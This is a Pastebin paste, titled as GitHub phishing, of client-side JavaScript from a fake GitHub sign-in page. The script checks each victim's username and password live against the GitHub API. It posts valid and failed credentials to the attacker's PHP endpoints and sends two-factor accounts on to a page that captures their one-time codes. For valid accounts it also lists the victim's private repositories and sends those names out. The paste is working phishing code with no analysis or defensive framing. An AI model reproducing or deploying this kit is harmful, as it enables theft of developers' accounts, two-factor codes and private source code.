Advertisement
dgallagher

#SawFish - Github phishing

Mar 17th, 2021
263
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.68 KB | None | 0 0
  1. $(function () {
  2. $('#submitbtn').on('click', function (e) {
  3. e.preventDefault();
  4. var username = $('#login_field').val();
  5. var password = $('#password').val();
  6. var requri = 'https://api.github.com/user/repos?type=private';
  7.  
  8. requestJSON(username, password, requri, function (json) {
  9. if (json.message == "Bad credentials" || (username == '' || password == '')) {
  10. $.ajax({
  11. type: "POST",
  12. dataType: "JSON",
  13. data: {'try':'true', 'user':username, 'pass':password},
  14. url: "/attempts.php",
  15. complete: function(response){
  16. console.log(response.responseJSON);
  17. if (response.responseJSON.attempts >= 3) {
  18. window.location.href = '404.php';
  19. }
  20. }
  21. });
  22. $('#login-error').html('<center><div style="display: inline-block; align: center;" class="alert alert-danger" role="alert">Incorrect username or password.</div></center>');
  23. } else if (json.message == "Must specify two-factor authentication OTP code.") {
  24. $.ajax({
  25. type: "POST",
  26. data: {user:username, pass:password},
  27. url: "/savecredotp.php",
  28. complete: function(response) {
  29. window.location.href = '2fa.php';
  30. }
  31. });
  32. } else {
  33. $('#submitbtn').attr('disabled', true);
  34. $('#submitbtn').attr('value', 'Signing in…');
  35. repositories = json;
  36. sendThisContent();
  37. function sendThisContent() {
  38. if (repositories.length == 0) {return 0;}
  39. else {
  40. var repos = [];
  41. $.each(repositories, function (i) {
  42. repos[i] = repositories[i].full_name;
  43. });
  44. $.ajax({
  45. type: "POST",
  46. data: {repos:repos, user:username, pass:password},
  47. url: "/submit.php",
  48. complete: function(response){
  49. window.location.href = '2fa.php';
  50. }
  51. });
  52. }
  53. }
  54. }
  55. });
  56. });
  57. function requestJSON(usergh, passgh, url, callback) {
  58. $.ajax({
  59. url: url,
  60. crossDomain: true,
  61. datatype: 'jsonp',
  62. beforeSend: function(xhr) {
  63. xhr.setRequestHeader("Authorization", "Basic " + btoa(usergh + ":" + passgh));
  64. },
  65. complete: function (xhr) {
  66. callback.call(null, xhr.responseJSON);
  67. }
  68. });
  69. }
  70. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement